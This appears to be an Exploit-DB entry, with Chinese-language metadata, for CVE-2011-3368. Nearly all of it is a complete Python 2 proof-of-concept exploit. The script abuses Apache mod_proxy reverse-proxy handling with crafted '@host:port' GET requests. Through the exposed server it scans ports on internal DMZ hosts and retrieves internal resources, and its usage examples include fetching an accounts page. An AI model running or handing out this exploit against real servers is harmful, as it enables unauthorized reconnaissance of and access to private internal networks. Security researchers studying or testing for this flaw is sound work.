标题: Apache mod_proxy - Reverse Proxy Exposure EDB-ID: 17969 CVE: 2011-3368 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-10-11 漏洞利用脚本: #!/usr/bin/env python

import socket
import string
import getopt, sys


known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

 get = "GET " + url + "@" + internal_target + ":" + internal_port +  "/" + resource + " HTTP/1.1\r\n"
 get = get + "Host: " + apache_target + "\r\n\r\n"
 
 remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 remoteserver.settimeout(3)

 try:
  remoteserver.connect((apache_target, int(apache_port)))
  remoteserver.send(get)
  return remoteserver.recv(4096)
 except:
  return ""

def get_banner(result):
 return result[string.find(result, "\r\n\r\n")+4:]


def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

 print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
 for port in tested_ports:
  port = str(port)
  result = send_request(url, apache_target, apache_port, internal_target, port, resource)
  if string.find(result,"HTTP/1.1 200")!=-1 or \
  string.find(result,"HTTP/1.1 30")!=-1 or \
  string.find(result,"HTTP/1.1 502")!=-1:
   print "- Open port: " + port + "/TCP"
   print get_banner(result)
  elif len(result)==0:
    print "- Filtered port: " + port + "/TCP"
  else:
    print "- Closed port: " + port + "/TCP"
   

def usage():
 print
 print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
 print "http://www.secforce.co.uk"
 print
 print "usage():"
 print "python apache_scan.py [options]"
 print
 print " [options]"
 print "  -r: Remote Apache host"
 print "  -p: Remote Apache port (default is 80)"
 print "  -u: URL on the remote web server (default is /)"
 print "  -d: Host in the DMZ (default is 127.0.0.1)"
 print "  -e: Port in the DMZ (enables 'single port scan')"
 print "  -g: GET request to the host in the DMZ (default is /)"
 print "  -h: Help page"
 print
 print "examples:"
 print " - Port scan of the remote host"
 print "  python apache_scan.py -r www.example.com -u /images/test.gif"
 print " - Port scan of a host in the DMZ"
 print "  python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local"
 print " - Retrieve a resource from a host in the DMZ"
 print "  python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html"
 print

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
 print
 print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
 print "http://www.secforce.co.uk"
 print
 print " [+] Target: " + apache_target
 print " [+] Target port: " + apache_port
 print " [+] Internal host: " + internal_target
 print " [+] Tested ports: " + str(tested_ports)
 print " [+] Internal resource: " + resource
 print


def main():

 global apache_target
 global apache_port
 global url
 global internal_target
 global internal_port
 global resource

 try:
  opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"])
 except getopt.GetoptError:
  usage()
  sys.exit(2)

 try:
  for o, a in opts:
   if o in ("-h", "--help"):
    usage()
    sys.exit(2)
   if o == "-u":
    url=a
   if o == "-r":
    apache_target=a
   if o == "-p":
    apache_port=a
   if o == "-d":
    internal_target = a
   if o == "-e":
    internal_port=a
   if o == "-g":
    resource=a    
  
 except getopt.GetoptError:
  usage()
  sys.exit(2)
  
 if apache_target == "":
  usage()
  sys.exit(2)


url = "/"
apache_target = ""
apache_port = "80"
internal_target = "127.0.0.1"
internal_port = ""
resource = "/"

main()

if internal_port!="":
 tested_ports = [internal_port]
else:
 tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource) URL: https://www.exploit-db.com/exploits/17969